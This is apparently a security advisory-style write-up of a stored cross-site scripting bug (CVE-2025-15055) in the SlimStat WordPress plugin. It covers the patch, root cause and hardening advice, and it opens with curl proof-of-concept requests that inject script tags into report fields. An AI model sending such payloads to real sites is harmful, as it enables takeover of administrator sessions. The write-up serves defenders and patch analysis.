The Exploit
Unauthenticated attacker.
curl -i -s -X POST "https://TARGET/wp-admin/admin.php?page=wp-slimstat-reports" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-raw "notes=<script>alert('CVE-2025-15055')</script>&resource=<script>alert('RESOURCE')</script>"
curl -i -s "https://TARGET/wp-admin/admin.php?page=wp-slimstat-reports" | grep -o "<script>alert('CVE-2025-15055')</script>"
The first request stores attacker-controlled HTML in the SlimStat event record using the vulnerable notes and resource fields. The second request loads the Recent Custom Events report and exposes the same raw <script> payload in the admin-facing HTML output.
Why this still matters at admin: An attacker does not need to be logged in to seed the report; the injected script executes later in the context of any administrator who views the Recent Custom Events report, making it a classic stored XSS risk for high-value admin sessions.
What the Patch Did
Before
echo "<p class='slimstat-tooltip-trigger'>" . $a_result[ 'notes' ];
...
echo sprintf('<span>%s</span>', $a_result[ 'counthits' ]);
...
echo '<b class="slimstat-tooltip-content">' . __('IP', 'wp-slimstat') . ': ' . $a_result['ip'] . '<br/>' . __('Page', 'wp-slimstat') . sprintf(": <a href='%s%s'>%s%s</a><br>", $blog_url, $a_result[ 'resource' ], $blog_url, $a_result[ 'resource' ]) . __('Coordinates', 'wp-slimstat') . sprintf(': %s<br>', $a_result[ 'position' ]) . __('Date', 'wp-slimstat') . (': ' . $date_time);
After
echo "<p class='slimstat-tooltip-trigger'>" . esc_html( $a_result[ 'notes' ] );
...
echo sprintf('<span>%s</span>', esc_html( $a_result[ 'counthits' ] ));
...
echo '<b class="slimstat-tooltip-content">' . __('IP', 'wp-slimstat') . ': ' . esc_html( $a_result['ip'] ) . '<br/>' . __('Page', 'wp-slimstat') . sprintf(": <a href='%s'>%s</a><br>", esc_url( $blog_url . $a_result[ 'resource' ] ), esc_html( $blog_url . $a_result[ 'resource' ] )) . __('Coordinates', 'wp-slimstat') . sprintf(': %s<br>', esc_html( $a_result[ 'position' ] )) . __('Date', 'wp-slimstat') . (': ' . $date_time);
The patch added WordPress output escaping: esc_html() for text content and esc_url() for the constructed link URL.
Root Cause
This is stored cross-site scripting (CWE-79). User-controlled values from request fields notes and resource were preserved in SlimStat report rows and later interpolated directly into the admin report HTML. The code emitted $a_result['notes'] inside a paragraph and $a_result['resource'] inside an anchor tag without escaping, so attacker-supplied script content crossed from an untrusted HTTP request into a trusted administrator browser context unchecked.
Why It Works
The load-bearing fix is esc_html( $a_result['notes'] ). Without that line, attacker-controlled markup stored in notes would still be printed raw inside <p class='slimstat-tooltip-trigger'>, and the browser would execute injected <script> tags. The added esc_url() on $blog_url . $a_result['resource'] is also essential for the href sink, while the extra esc_html() calls on ip, position, and counthits harden the remaining text outputs against the same class of injection.
Hardening Checklist
- Escape output with the correct WordPress API: use
esc_html()for text nodes andesc_url()for href attributes. - Sanitize stored input before saving with
sanitize_text_field()orwp_kses_post()when free-form content is allowed. - Protect data-modifying admin entry points with capability checks such as
current_user_can('manage_options'). - Add
wp_verify_nonce()validation for admin form submissions and AJAX handlers to reduce unauthorized storage of malicious payloads. - Treat numeric-looking fields like
counthitsas untrusted input and escape them on output anyway.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-15055